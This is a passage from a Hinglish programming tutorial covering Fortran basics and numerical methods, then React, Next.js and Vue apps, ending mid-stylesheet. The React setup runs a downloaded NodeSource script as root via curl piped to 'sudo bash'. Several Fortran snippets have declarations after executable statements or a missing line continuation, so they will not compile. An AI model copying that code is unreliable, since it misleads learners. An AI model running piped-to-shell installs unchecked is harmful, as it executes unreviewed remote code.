    z = (1.0, 2.0)     ! Complex number: 1+2i
    flag = .true.
    name = 'Fortran'
    print *, 'Integer: ', i
    print *, 'Float: ', x
    print *, 'Double: ', y
    print *, 'Complex: ', z
```

```
    print *, 'Logical: ', flag
    print *, 'String: ', name
end program data_types
```

>> Constants and Variables

WHAT:

Constants aur variables declare karne ka tarika

EXAMPLES:

```
program constants
    implicit none
    ! Named constants
    real, parameter :: PI = 3.1415926535
    real, parameter :: G = 9.81
    integer, parameter :: MAX_SIZE = 100
    character(len=*), parameter :: VERSION = '1.0.0'
    ! Variables
    integer :: count = 0
    real :: radius = 5.0
    real :: area
    ! Calculations using constants
    area = PI * radius * radius
    print *, 'PI = ', PI
    print *, 'Gravity = ', G, ' m/s^2'
    print *, 'Max Size = ', MAX_SIZE
    print *, 'Version = ', VERSION
    print *, 'Area of circle = ', area
end program constants
```

---

3. FORTRAN OPERATORS

>> Arithmetic and Relational Operators

WHAT:

Fortran me operators

EXAMPLES:

```
program operators
    implicit none
    ! Variables
    integer :: a = 10, b = 3
    real :: x = 10.0, y = 3.0
    logical :: result
    ! Arithmetic Operators
    print *, '=== Arithmetic Operators ===='
    print *, 'a + b = ', a + b     ! Addition
    print *, 'a - b = ', a - b     ! Subtraction
    print *, 'a * b = ', a * b     ! Multiplication
    print *, 'a / b = ', a / b     ! Integer division (3)
    print *, 'x / y = ', x / y     ! Real division (3.3333)
    print *, 'a ** b = ', a ** b   ! Exponentiation (10^3 = 1000)
    ! Relational Operators (for integers)
    print *, '=== Relational Operators ===='
    print *, 'a == b: ', a == b
    print *, 'a /= b: ', a /= b
    print *, 'a > b: ', a > b
    print *, 'a < b: ', a < b
    print *, 'a >= b: ', a >= b
    print *, 'a <= b: ', a <= b
    ! Logical Operators
    print *, '=== Logical Operators ===='
    result = .true. .and. .false.
    print *, '.true. .and. .false. = ', result
    result = .true. .or. .false.
    print *, '.true. .or. .false. = ', result
    result = .not. .true.
    print *, '.not. .true. = ', result
    ! Equivalent operators (Fortran 90+)
    print *, 'a > b: ', a > b
    print *, 'a < b: ', a < b
end program operators
```

4. FORTRAN CONTROL FLOW

>> If-Else Statements

WHAT:

Conditional statements in Fortran

EXAMPLES:

```
program if_example
    implicit none
    integer :: marks = 85
    integer :: age = 18
    real :: temperature = 25.5
    ! Simple if
    if (age >= 18) then
        print *, 'You can vote'
    end if
    ! if-else
    if (marks >= 60) then
        print *, 'Pass'
    else
        print *, 'Fail'
    end if
    ! if-else-if ladder
    if (marks >= 90) then
        print *, 'Grade: A'
    else if (marks >= 80) then
        print *, 'Grade: B'
    else if (marks >= 70) then
        print *, 'Grade: C'
    else if (marks >= 60) then
        print *, 'Grade: D'
    else
        print *, 'Grade: F'
    end if
    ! Nested if
    if (temperature > 0) then
        if (temperature > 30) then
            print *, 'Hot weather'
        else
            print *, 'Pleasant weather'
        end if
    else
        print *, 'Freezing weather'
    end if
    ! Select case (switch statement)
    select case (marks)
        case (90:100)
            print *, 'Excellent!'
        case (80:89)
            print *, 'Very Good!'
        case (70:79)
            print *, 'Good!'
        case (60:69)
            print *, 'Satisfactory'
        case default
            print *, 'Need Improvement'
    end select
end program if_example
```

>> Loops in Fortran

WHAT:

Do loops in Fortran

EXAMPLES:

```
program loops_example
    implicit none
    integer :: i, j
    integer :: sum = 0
    integer :: count = 1
    ! Simple do loop (from 1 to 10)
    print *, '=== Simple Do Loop ===='
    do i = 1, 10
        print *, 'i = ', i
    end do
    ! Do loop with step
    print *, '=== Do Loop with Step ===='
    do i = 1, 10, 2
        print *, 'Odd numbers: ', i
    end do
    ! Do loop downward
    print *, '=== Downward Loop ===='
    do i = 10, 1, -1
        print *, 'Countdown: ', i
    end do
    ! Sum of first 100 numbers
    sum = 0
    do i = 1, 100
        sum = sum + i
    end do
    print *, 'Sum of 1 to 100 = ', sum
    ! Nested loops
    print *, '=== Multiplication Table ===='
    do i = 1, 5
        do j = 1, 5
            write(*, '(I4)', advance='no') i * j
        end do
        print *, ''
    end do
    ! Do while loop
    print *, '=== Do While Loop ===='
    i = 1
    do while (i <= 5)
        print *, 'While loop: ', i
        i = i + 1
    end do
    ! Exit (break) statement
    print *, '=== Exit Example ===='
    do i = 1, 10
        if (i == 5) exit
        print *, i
    end do
    ! Cycle (continue) statement
    print *, '=== Cycle Example ===='
    do i = 1, 5
        if (i == 3) cycle
        print *, i
    end do
    ! Named loops
    outer: do i = 1, 3
        inner: do j = 1, 3
            if (i == 2 .and. j == 2) exit outer
            print *, 'i = ', i, ', j = ', j
        end do inner
    end do outer
end program loops_example
```

5. FORTRAN ARRAYS

>> Array Operations

WHAT:

Fortran me arrays - powerful array operations

EXAMPLES:

```
program arrays_example
    implicit none
    ! 1D arrays
    integer, dimension(5) :: arr1
    integer :: arr2(10)
    real, dimension(3) :: arr3 = [1.0, 2.0, 3.0]
    ! Initialize array
    arr1 = [1, 2, 3, 4, 5]
    arr2 = 0  ! Initialize all to zero
    print *, 'Array 1: ', arr1
    print *, 'Array 3: ', arr3
    ! 2D arrays (matrices)
    integer, dimension(3,3) :: matrix
    integer :: i, j
    ! Initialize matrix
    do i = 1, 3
        do j = 1, 3
            matrix(i,j) = i * j
        end do
    end do
    print *, 'Matrix:'
    do i = 1, 3
        print *, matrix(i,:)
    end do
    ! Array slicing
    print *, 'Array slice (2:4): ', arr1(2:4)
    print *, 'Array slice with step: ', arr1(1:5:2)
    ! Array operations (element-wise)
    integer :: arr4(5), arr5(5)
    arr4 = [10, 20, 30, 40, 50]
    arr5 = arr4 * 2  ! Multiply each element by 2
    print *, 'arr4 * 2 = ', arr5
    ! Array where operation
    arr5 = 0
    where (arr4 > 25) arr5 = arr4
    print *, 'Where condition: ', arr5
    ! Array functions
    print *, 'Sum of arr1: ', sum(arr1)
    print *, 'Product of arr1: ', product(arr1)
    print *, 'Max of arr1: ', maxval(arr1)
    print *, 'Min of arr1: ', minval(arr1)
    print *, 'Size of arr1: ', size(arr1)
    print *, 'Shape of matrix: ', shape(matrix)
    ! Allocatable arrays (dynamic size)
    real, allocatable :: dynamic_arr(:)
    integer :: n
    n = 10
    allocate(dynamic_arr(n))
    dynamic_arr = [ (real(i), i = 1, n) ]
    print *, 'Dynamic array: ', dynamic_arr
    deallocate(dynamic_arr)
end program arrays_example
```

6. FORTRAN SUBROUTINES AND FUNCTIONS

>> Subroutines and Functions

WHAT:

Fortran me subroutines aur functions

EXAMPLES:

```
! Main program
program functions_demo
    implicit none
    real :: x = 5.0, y = 3.0
    real :: result
    real :: area, radius
    ! Call function
    result = add_numbers(x, y)
    print *, 'Add function: ', result
    ! Call subroutine
    call swap_numbers(x, y)
    print *, 'After swap: x = ', x, ', y = ', y
    ! Call pure function
    radius = 5.0
    area = circle_area(radius)
    print *, 'Circle area: ', area
    ! Call subroutine with intent
    call calculate_stats([1.0, 2.0, 3.0, 4.0, 5.0])
contains
    ! Function example
    function add_numbers(a, b) result(sum)
        real, intent(in) :: a, b
        real :: sum
        sum = a + b
    end function add_numbers
    ! Subroutine example
    subroutine swap_numbers(a, b)
        real, intent(inout) :: a, b
        real :: temp
        temp = a
        a = b
        b = temp
    end subroutine swap_numbers
    ! Pure function (no side effects)
    pure function circle_area(r) result(area)
        real, intent(in) :: r
        real :: area
        real, parameter :: PI = 3.1415926535
        area = PI * r * r
    end function circle_area
    ! Subroutine with array argument
    subroutine calculate_stats(numbers)
        real, intent(in) :: numbers(:)
        print *, 'Stats of array:'
        print *, '  Sum: ', sum(numbers)
        print *, '  Mean: ', sum(numbers) / size(numbers)
        print *, '  Max: ', maxval(numbers)
        print *, '  Min: ', minval(numbers)
    end subroutine calculate_stats
end program functions_demo
```

7. FORTRAN MODULES

>> Module Example

WHAT:

Fortran modules - code organization, encapsulation

CODE:

```
! Module definition
module math_constants
    implicit none

    ! Public constants
    real, parameter, public :: PI = 3.141592653589793
    real, parameter, public :: E = 2.718281828459045
    real, parameter, public :: G = 9.80665

    ! Private constants (only accessible in module)
    real, parameter, private :: SECRET = 42.0

contains
    ! Public function
    function circle_area(radius) result(area)
        real, intent(in) :: radius
        real :: area
        area = PI * radius * radius
    end function circle_area

    ! Public function
    function circle_circumference(radius) result(circum)
        real, intent(in) :: radius
        real :: circum
        circum = 2.0 * PI * radius
    end function circle_circumference

    ! Private function
    function secret_function(x) result(y)
        real, intent(in) :: x
        real :: y
        y = x * SECRET
    end function secret_function

end module math_constants

! Main program using module
program module_demo
    use math_constants
    implicit none

    real :: r = 5.0
    real :: area, circum

    area = circle_area(r)
    circum = circle_circumference(r)

    print *, 'Radius: ', r
    print *, 'Area: ', area
    print *, 'Circumference: ', circum
    print *, 'PI constant: ', PI
    print *, 'E constant: ', E
    print *, 'G constant: ', G

end program module_demo
```

8. FORTRAN FILE I/O

>> File Operations

WHAT:

Fortran me file read/write operations

EXAMPLES:

```
program file_io
    implicit none
    integer :: i, n = 10
    real, dimension(10) :: data_in, data_out
    integer :: unit, ios
    character(len=100) :: line
    ! Write to file
    open(unit=10, file='data.txt', status='replace', action='write')
    do i = 1, n
        write(10, *) i, i * i, sqrt(real(i))
    end do
    close(10)
    print *, 'Data written to data.txt'
    ! Read from file
    open(unit=20, file='data.txt', status='old', action='read')
    print *, 'Reading from file:'
    do i = 1, n
        read(20, *) data_in(i), data_out(i), data_out(i)
        print *, 'Line ', i, ': ', data_in(i), data_out(i)
    end do
    close(20)
    ! Append to file
    open(unit=30, file='data.txt', status='old', action='write', position='append')
    write(30, *) 'Appended line'
    write(30, *) 'Another line'
    close(30)
    print *, 'Data appended to data.txt'
    ! Read formatted data
    open(unit=40, file='data.txt', status='old', action='read')
    print *, 'Reading formatted data:'
    do i = 1, n+2
        read(40, '(A)', iostat=ios) line
        if (ios /= 0) exit
        print *, trim(line)
    end do
    close(40)
    ! Write formatted output
    open(unit=50, file='output.txt', status='replace')
    write(50, '(A20, A10, A10)') 'Number', 'Square', 'Square Root'
    write(50, '(A30)') repeat('-', 30)
    do i = 1, n
        write(50, '(I10, I10, F10.2)') i, i*i, sqrt(real(i))
    end do
    close(50)
    print *, 'Formatted output written to output.txt'
end program file_io
```

9. SCIENTIFIC COMPUTING WITH FORTRAN

>> Numerical Methods

WHAT:

Fortran me numerical methods examples

CODE:

```
program numerical_methods
    implicit none

    real :: a = 0.0, b = 1.0
    integer :: n = 100
    real :: h, integral
    integer :: i
    real :: x, sum

    ! 1. Numerical Integration (Trapezoidal Rule)
    ! Integrate f(x) = x^2 from 0 to 1
    h = (b - a) / n
    sum = 0.0
    do i = 1, n-1
        x = a + i * h
        sum = sum + x * x
    end do
    integral = h * (0.5 * (a*a + b*b) + sum)
    print *, 'Numerical Integration (x^2 from 0 to 1):'
    print *, '  Result: ', integral
    print *, '  Exact:  ', 1.0/3.0

    ! 2. Root Finding (Bisection Method)
    call bisection_method()

    ! 3. Matrix Operations
    call matrix_operations()

contains
    subroutine bisection_method()
        real :: a = 0.0, b = 2.0
        real :: c, fa, fb, fc
        integer :: iter, max_iter = 50
        real :: tolerance = 1e-6

        print *, 'Root Finding (Bisection Method):'
        print *, '  Finding root of f(x) = x^3 - x - 2'

        fa = f(a)
        fb = f(b)

        if (fa * fb >= 0) then
            print *, '  No root in interval'
            return
        end if

        do iter = 1, max_iter
            c = (a + b) / 2.0
            fc = f(c)

            if (abs(fc) < tolerance) exit

            if (fa * fc < 0) then
                b = c
                fb = fc
            else
                a = c
```

```
            fa = fc
        end if
    end do

    print *, '  Root found: ', c
    print *, '  f(root): ', fc
    print *, '  Iterations: ', iter
end subroutine bisection_method

function f(x) result(y)
    real, intent(in) :: x
    real :: y
    y = x**3 - x - 2.0
end function f

subroutine matrix_operations()
    integer, parameter :: m = 3, n = 3
    real :: A(m,n), B(m,n), C(m,n)
    integer :: i, j

    print *, 'Matrix Operations:'

    ! Initialize matrices
    A = reshape([1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0, 9.0], shape(A))
    B = reshape([9.0, 8.0, 7.0, 6.0, 5.0, 4.0, 3.0, 2.0, 1.0], shape(B))

    ! Matrix addition
    C = A + B
    print *, 'Matrix A + B:'
    do i = 1, m
        print *, C(i,:)
    end do

    ! Matrix multiplication (using matmul)
    C = matmul(A, B)
    print *, 'Matrix A * B:'
    do i = 1, m
        print *, C(i,:)
    end do

    ! Determinant of 3x3 matrix
    real :: det
    det = A(1,1)*A(2,2)*A(3,3) + A(1,2)*A(2,3)*A(3,1) + A(1,3)*A(2,1)*A(3,2) -
          A(1,3)*A(2,2)*A(3,1) - A(1,2)*A(2,1)*A(3,3) - A(1,1)*A(2,3)*A(3,2)
    print *, 'Determinant of A: ', det
end subroutine matrix_operations

end program numerical_methods
```

10. PRACTICAL FORTRAN PROJECTS

>> Project 1 - Scientific Calculator

WHAT:

Scientific calculator for physics equations

CODE:

```
program scientific_calculator
    implicit none

    integer :: choice
    real :: a, b, result

    do
        print *, '=== Scientific Calculator ===='
        print *, '1. Projectile Motion'
        print *, '2. Quadratic Equation'
        print *, '3. Velocity and Acceleration'
        print *, '4. Force Calculation (F=ma)'
        print *, '5. Kinetic Energy'
        print *, '6. Exit'
        print *, 'Enter choice: '
        read *, choice

        select case (choice)
            case (1)
                call projectile_motion()
            case (2)
                call quadratic_equation()
            case (3)
                call velocity_acceleration()
            case (4)
                call force_calculation()
            case (5)
                call kinetic_energy()
            case (6)
                exit
            case default
                print *, 'Invalid choice'
        end select
    end do

contains
    subroutine projectile_motion()
        real :: v0, theta, t, g = 9.81
        real :: x, y, vx, vy

        print *, 'Projectile Motion Calculator'
        print *, 'Enter initial velocity (m/s): '
        read *, v0
        print *, 'Enter angle (degrees): '
        read *, theta
        print *, 'Enter time (s): '
        read *, t

        theta = theta * 3.14159 / 180.0  ! Convert to radians
        vx = v0 * cos(theta)
        vy = v0 * sin(theta)

        x = vx * t
        y = vy * t - 0.5 * g * t * t

        print *, 'Position at time ', t, ' seconds:'
        print *, '  x = ', x, ' m'
```

```
    print *, '  y = ', y, ' m'
end subroutine projectile_motion

subroutine quadratic_equation()
    real :: a, b, c, disc, root1, root2

    print *, 'Quadratic Equation Solver (ax^2 + bx + c = 0)'
    print *, 'Enter a, b, c: '
    read *, a, b, c

    if (a == 0.0) then
        print *, 'Not a quadratic equation'
        return
    end if

    disc = b*b - 4.0*a*c

    if (disc > 0) then
        root1 = (-b + sqrt(disc)) / (2.0*a)
        root2 = (-b - sqrt(disc)) / (2.0*a)
        print *, 'Two real roots:'
        print *, '  root1 = ', root1
        print *, '  root2 = ', root2
    else if (disc == 0) then
        root1 = -b / (2.0*a)
        print *, 'One real root: ', root1
    else
        print *, 'Complex roots'
        print *, '  Real part: ', -b/(2.0*a)
        print *, '  Imag part: ', sqrt(-disc)/(2.0*a)
    end if
end subroutine quadratic_equation

subroutine velocity_acceleration()
    real :: u, a, t, v

    print *, 'Velocity Calculator (v = u + at)'
    print *, 'Enter initial velocity (m/s): '
    read *, u
    print *, 'Enter acceleration (m/s^2): '
    read *, a
    print *, 'Enter time (s): '
    read *, t

    v = u + a * t
    print *, 'Final velocity: ', v, ' m/s'
end subroutine velocity_acceleration

subroutine force_calculation()
    real :: m, a, f

    print *, 'Force Calculator (F = m * a)'
    print *, 'Enter mass (kg): '
    read *, m
    print *, 'Enter acceleration (m/s^2): '
    read *, a

    f = m * a
    print *, 'Force = ', f, ' N'
end subroutine force_calculation

subroutine kinetic_energy()
    real :: m, v, ke

    print *, 'Kinetic Energy Calculator (KE = 1/2 * m * v^2)'
    print *, 'Enter mass (kg): '
```

```
        read *, m
        print *, 'Enter velocity (m/s): '
        read *, v

        ke = 0.5 * m * v * v
        print *, 'Kinetic Energy = ', ke, ' J'
    end subroutine kinetic_energy

end program scientific_calculator
```

Frontend Development Complete Guide

React, Next.js, Vue.js, Tailwind CSS, PWA, Responsive Design

Generated: 23-March-2026

1. REACT.JS - COMPLETE GUIDE

>> What is React

WHAT:

React ek JavaScript library hai jo user interfaces banane ke liye use hoti hai. Facebook ne banaya hai. Component-based architecture, virtual DOM, aur declarative approach provide karta hai.

KEY FEATURES:

* Component-Based - Reusable UI components
* Virtual DOM - Fast rendering
* JSX - JavaScript + HTML syntax
* Hooks - State and lifecycle management
* Unidirectional Data Flow - One-way data binding
* Large Ecosystem - React Router, Redux, Next.js

>> React Installation on Linux

WHAT:

React development environment setup

COMMANDS:

```
# Install Node.js
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y
# Install npm
sudo apt install npm -y
# Create React app
npx create-react-app my-app
cd my-app
# Start development server
npm start
# Build for production
npm run build
# Install additional packages
npm install react-router-dom axios
npm install redux react-redux
npm install @reduxjs/toolkit
```

>> Complete React Application

WHAT:

Complete React app with hooks, routing, state management

CODE:

```
// App.js - Main application
import React, { useState, useEffect } from 'react';
import { BrowserRouter as Router, Routes, Route, Link } from 'react-router-dom';
import './App.css';

// Components
import Home from './components/Home';
import About from './components/About';
import TodoList from './components/TodoList';
import UserProfile from './components/UserProfile';
import { ThemeProvider } from './context/ThemeContext';

function App() {
  const [darkMode, setDarkMode] = useState(false);

  useEffect(() => {
    if (darkMode) {
```

```
      document.body.classList.add('dark');
    } else {
      document.body.classList.remove('dark');
    }
  }, [darkMode]);

  return (
    <ThemeProvider value={{ darkMode, setDarkMode }}>
      <Router>
        <nav className="navbar">
          <div className="nav-container">
            <Link to="/" className="nav-logo">MyApp</Link>
            <div className="nav-links">
              <Link to="/">Home</Link>
              <Link to="/todos">Todos</Link>
              <Link to="/about">About</Link>
              <Link to="/profile">Profile</Link>
              <button onClick={() => setDarkMode(!darkMode)} className="theme-toggle">
                {darkMode ? 'suraj' : 'chand'}
              </button>
            </div>
          </div>
        </nav>

        <main className="main-content">
          <Routes>
            <Route path="/" element={<Home />} />
            <Route path="/todos" element={<TodoList />} />
            <Route path="/about" element={<About />} />
            <Route path="/profile" element={<UserProfile />} />
          </Routes>
        </main>
      </Router>
    </ThemeProvider>
  );
}

export default App;

// components/TodoList.js
import React, { useState, useEffect } from 'react';
import axios from 'axios';

function TodoList() {
  const [todos, setTodos] = useState([]);
  const [newTodo, setNewTodo] = useState('');
  const [loading, setLoading] = useState(true);
  const [filter, setFilter] = useState('all');

  // Fetch todos on mount
  useEffect(() => {
    fetchTodos();
  }, []);

  const fetchTodos = async () => {
    try {
      const response = await axios.get('https://jsonplaceholder.typicode.com/todos?_limit=10');
      setTodos(response.data);
    } catch (error) {
      console.error('Error fetching todos:', error);
    } finally {
      setLoading(false);
    }
  };

  const addTodo = async () => {
```

```
  if (!newTodo.trim()) return;

  const newTodoItem = {
    title: newTodo,
    completed: false,
    userId: 1,
  };

  try {
    const response = await axios.post('https://jsonplaceholder.typicode.com/todos', newTodoItem);
    setTodos([response.data, ...todos]);
    setNewTodo('');
  } catch (error) {
    console.error('Error adding todo:', error);
  }
};

const toggleTodo = async (id, completed) => {
  try {
    await axios.patch(`https://jsonplaceholder.typicode.com/todos/${id}`, {
      completed: !completed
    });
    setTodos(todos.map(todo =>
      todo.id === id ? { ...todo, completed: !completed } : todo
    ));
  } catch (error) {
    console.error('Error updating todo:', error);
  }
};

const deleteTodo = async (id) => {
  try {
    await axios.delete(`https://jsonplaceholder.typicode.com/todos/${id}`);
    setTodos(todos.filter(todo => todo.id !== id));
  } catch (error) {
    console.error('Error deleting todo:', error);
  }
};

const filteredTodos = todos.filter(todo => {
  if (filter === 'completed') return todo.completed;
  if (filter === 'pending') return !todo.completed;
  return true;
});

if (loading) {
  return <div className="loading">Loading...</div>;
}

return (
  <div className="todo-container">
    <h1>Todo List</h1>

    <div className="todo-input">
      <input
        type="text"
        value={newTodo}
        onChange={(e) => setNewTodo(e.target.value)}
        placeholder="Add new todo..."
        onKeyPress={(e) => e.key === 'Enter' && addTodo()}
      />
      <button onClick={addTodo}>Add</button>
    </div>

    <div className="todo-filters">
      <button onClick={() => setFilter('all')} className={filter === 'all' ? 'active' : ''}>All</button>
```

```
        <button onClick={() => setFilter('pending')} className={filter === 'pending' ? 'active' : ''}>Pending</button>
        <button onClick={() => setFilter('completed')} className={filter === 'completed' ? 'active' : ''}>Completed</button>
      </div>

      <ul className="todo-list">
        {filteredTodos.map(todo => (
          <li key={todo.id} className={todo.completed ? 'completed' : ''}>
            <input
              type="checkbox"
              checked={todo.completed}
              onChange={() => toggleTodo(todo.id, todo.completed)}
            />
            <span>{todo.title}</span>
            <button onClick={() => deleteTodo(todo.id)}>Delete</button>
          </li>
        ))}
      </ul>

      <div className="todo-stats">
        <p>Total: {todos.length}</p>
        <p>Completed: {todos.filter(t => t.completed).length}</p>
        <p>Pending: {todos.filter(t => !t.completed).length}</p>
      </div>
    </div>
  );
}

export default TodoList;

// components/UserProfile.js with useState and useEffect
import React, { useState, useEffect } from 'react';
import axios from 'axios';

function UserProfile() {
  const [user, setUser] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    const fetchUser = async () => {
      try {
        const response = await axios.get('https://jsonplaceholder.typicode.com/users/1');
        setUser(response.data);
      } catch (err) {
        setError(err.message);
      } finally {
        setLoading(false);
      }
    };
    fetchUser();
  }, []);

  if (loading) return <div>Loading user...</div>;
  if (error) return <div>Error: {error}</div>;

  return (
    <div className="profile-container">
      <h1>User Profile</h1>
      <div className="profile-card">
        <h2>{user.name}</h2>
        <p>Email: {user.email}</p>
        <p>Phone: {user.phone}</p>
        <p>Website: {user.website}</p>
        <h3>Company</h3>
        <p>{user.company.name}</p>
        <p>{user.company.catchPhrase}</p>
```

```
        <h3>Address</h3>
        <p>{user.address.street}, {user.address.suite}</p>
        <p>{user.address.city}, {user.address.zipcode}</p>
      </div>
    </div>
  );
}

export default UserProfile;
```

>> React Hooks Deep Dive

WHAT:

All React hooks with examples

CODE:

```
// useState - State management
function Counter() {
  const [count, setCount] = useState(0);
  return <button onClick={() => setCount(count + 1)}>Count: {count}</button>;
}

// useEffect - Side effects
function DataFetcher() {
  const [data, setData] = useState(null);
  useEffect(() => {
    fetch('/api/data')
      .then(res => res.json())
      .then(setData);
    return () => console.log('Cleanup');
  }, []); // Empty deps = run once
  return <div>{data}</div>;
}

// useContext - Context API
const ThemeContext = React.createContext();
function ThemedButton() {
  const theme = useContext(ThemeContext);
  return <button className={theme}>Click me</button>;
}

// useReducer - Complex state logic
function reducer(state, action) {
  switch(action.type) {
    case 'increment': return { count: state.count + 1 };
    case 'decrement': return { count: state.count - 1 };
    default: return state;
  }
}
function Counter() {
  const [state, dispatch] = useReducer(reducer, { count: 0 });
  return (
    <>
      Count: {state.count}
      <button onClick={() => dispatch({type: 'increment'})}>+</button>
    </>
  );
}

// useRef - DOM references
function InputFocus() {
  const inputRef = useRef();
  useEffect(() => inputRef.current.focus(), []);
  return <input ref={inputRef} />;
}
```

```
// useMemo - Memoized values
function ExpensiveCalculation({ num }) {
  const result = useMemo(() => {
    return expensiveFunction(num);
  }, [num]);
  return <div>{result}</div>;
}

// useCallback - Memoized functions
function Parent() {
  const handleClick = useCallback(() => {
    console.log('Clicked');
  }, []);
  return <Child onClick={handleClick} />;
}

// Custom Hook
function useLocalStorage(key, initialValue) {
  const [value, setValue] = useState(() => {
    const stored = localStorage.getItem(key);
    return stored ? JSON.parse(stored) : initialValue;
  });

  useEffect(() => {
    localStorage.setItem(key, JSON.stringify(value));
  }, [key, value]);

  return [value, setValue];
}
```

2. NEXT.JS - REACT FRAMEWORK

>> What is Next.js

WHAT:

Next.js React-based framework hai jo server-side rendering (SSR), static site generation (SSG), aur file-based routing provide karta hai. SEO-friendly aur fast websites ke liye best hai.

KEY FEATURES:

* Server-Side Rendering (SSR) - Dynamic content on server
* Static Site Generation (SSG) - Build-time rendering
* File-based Routing - Pages folder = routes
* API Routes - Backend endpoints in same project
* Image Optimization - Automatic image optimization
* Incremental Static Regeneration (ISR)

>> Next.js Installation

WHAT:

Next.js project setup

COMMANDS:

```
# Create Next.js app
npx create-next-app@latest my-next-app
cd my-next-app
# Install additional packages
npm install axios swr
npm install tailwindcss postcss autoprefixer
# Start development server
npm run dev
# Build for production
npm run build
npm start
```

>> Next.js Complete App

WHAT:

Complete Next.js application with SSR, SSG, API routes

CODE:

```
// pages/index.js - Home page with SSG
import Head from 'next/head';
import Link from 'next/link';
import styles from '../styles/Home.module.css';

export default function Home({ posts }) {
  return (
    <div className={styles.container}>
      <Head>
        <title>Next.js App</title>
        <meta name="description" content="Next.js app" />
      </Head>

      <main className={styles.main}>
        <h1 className={styles.title}>Welcome to Next.js!</h1>

        <div className={styles.grid}>
          {posts.map(post => (
            <Link key={post.id} href={`/posts/${post.id}`} className={styles.card}>
              <h2>{post.title}</h2>
              <p>{post.body.substring(0, 100)}...</p>
            </Link>
```

```
          ))}
        </div>
      </main>
    </div>
  );
}

// getStaticProps - Static Site Generation
export async function getStaticProps() {
  const res = await fetch('https://jsonplaceholder.typicode.com/posts?_limit=6');
  const posts = await res.json();

  return {
    props: { posts },
    revalidate: 60, // ISR - regenerate every 60 seconds
  };
}

// pages/posts/[id].js - Dynamic route with SSR
import { useRouter } from 'next/router';

export default function Post({ post }) {
  const router = useRouter();
  if (router.isFallback) {
    return <div>Loading...</div>;
  }

  return (
    <div>
      <h1>{post.title}</h1>
      <p>{post.body}</p>
    </div>
  );
}

// getStaticPaths - Generate dynamic paths
export async function getStaticPaths() {
  const res = await fetch('https://jsonplaceholder.typicode.com/posts');
  const posts = await res.json();

  const paths = posts.map(post => ({
    params: { id: post.id.toString() },
  }));

  return { paths, fallback: true };
}

// getStaticProps for dynamic page
export async function getStaticProps({ params }) {
  const res = await fetch(`https://jsonplaceholder.typicode.com/posts/${params.id}`);
  const post = await res.json();

  return {
    props: { post },
    revalidate: 60,
  };
}

// pages/api/posts.js - API Route
export default async function handler(req, res) {
  if (req.method === 'GET') {
    const response = await fetch('https://jsonplaceholder.typicode.com/posts');
    const posts = await response.json();
    res.status(200).json(posts);
  } else if (req.method === 'POST') {
    const { title, body } = req.body;
```

```
    // Save to database
    res.status(201).json({ id: Date.now(), title, body });
  } else {
    res.setHeader('Allow', ['GET', 'POST']);
    res.status(405).end(`Method ${req.method} Not Allowed`);
  }
}
```

3. VUE.JS - COMPLETE GUIDE

>> What is Vue.js

WHAT:

Vue.js progressive JavaScript framework hai jo reactive components aur declarative rendering provide karta hai. Easy to learn aur flexible hai.

KEY FEATURES:

* Reactive Data Binding - Automatic UI updates
* Component-Based - Reusable components
* Directives - v-if, v-for, v-model, v-bind
* Vue Router - Official routing
* Vuex - State management
* Composition API - Better code organization

>> Vue.js Installation

WHAT:

Vue.js project setup

COMMANDS:

```
# Install Vue CLI
npm install -g @vue/cli
# Create new project
vue create my-vue-app
cd my-vue-app
# Add Vue Router
vue add router
# Add Vuex
vue add vuex
# Start dev server
npm run serve
# Build for production
npm run build
```

>> Complete Vue.js App

WHAT:

Complete Vue.js application

CODE:

```
<!-- App.vue - Main component -->
<template>
  <div id="app">
    <nav class="navbar">
      <router-link to="/" class="nav-brand">MyApp</router-link>
      <div class="nav-links">
        <router-link to="/">Home</router-link>
        <router-link to="/todos">Todos</router-link>
        <router-link to="/about">About</router-link>
      </div>
    </nav>

    <router-view />
  </div>
</template>

<script>
export default {
  name: 'App',
};
```

```
</script>

<style scoped>
.navbar {
  background: #42b983;
  padding: 1rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
}
.nav-brand { color: white; font-size: 1.5rem; text-decoration: none; }
.nav-links a { color: white; margin-left: 1rem; text-decoration: none; }
</style>

<!-- components/TodoList.vue -->
<template>
  <div class="todo-container">
    <h1>Todo List</h1>

    <div class="todo-input">
      <input
        v-model="newTodo"
        @keyup.enter="addTodo"
        placeholder="Add new todo..."
      />
      <button @click="addTodo">Add</button>
    </div>

    <div class="todo-filters">
      <button @click="filter = 'all'" :class="{ active: filter === 'all' }">All</button>
      <button @click="filter = 'active'" :class="{ active: filter === 'active' }">Active</button>
      <button @click="filter = 'completed'" :class="{ active: filter === 'completed' }">Completed</button>
    </div>

    <ul class="todo-list">
      <li v-for="todo in filteredTodos" :key="todo.id" :class="{ completed: todo.completed }">
        <input type="checkbox" v-model="todo.completed" />
        <span>{{ todo.text }}</span>
        <button @click="deleteTodo(todo.id)">Delete</button>
      </li>
    </ul>

    <div class="todo-stats">
      <p>Total: {{ todos.length }}</p>
      <p>Completed: {{ completedCount }}</p>
      <p>Active: {{ activeCount }}</p>
    </div>
  </div>
</template>

<script>
export default {
  data() {
    return {
      newTodo: '',
      filter: 'all',
      todos: [
        { id: 1, text: 'Learn Vue.js', completed: false },
        { id: 2, text: 'Build a project', completed: false },
      ],
    };
  },
  computed: {
    filteredTodos() {
      if (this.filter === 'active') return this.todos.filter(t => !t.completed);
      if (this.filter === 'completed') return this.todos.filter(t => t.completed);
```

```
      return this.todos;
    },
    completedCount() {
      return this.todos.filter(t => t.completed).length;
    },
    activeCount() {
      return this.todos.filter(t => !t.completed).length;
    },
  },
  methods: {
    addTodo() {
      if (!this.newTodo.trim()) return;
      this.todos.push({
        id: Date.now(),
        text: this.newTodo,
        completed: false,
      });
      this.newTodo = '';
    },
    deleteTodo(id) {
      this.todos = this.todos.filter(t => t.id !== id);
    },
  },
};
</script>

<style scoped>
.todo-container { max-width: 600px; margin: 2rem auto; padding: 1rem; }
.todo-input { display: flex; gap: 0.5rem; margin-bottom: 1rem; }
.todo-input input { flex: 1; padding: 0.5rem; }
.todo-filters { display: flex; gap: 0.5rem; margin-bottom: 1rem; }
.todo-filters button { padding: 0.25rem 0.5rem; cursor: pointer; }
.todo-filters button.active { background: #42b983; color: white; }
.todo-list { list-style: none; padding: 0; }
.todo-list li { display: flex; align-items: center; gap: 0.5rem; padding: 0.5rem; border-bottom: 1px solid #eee; }
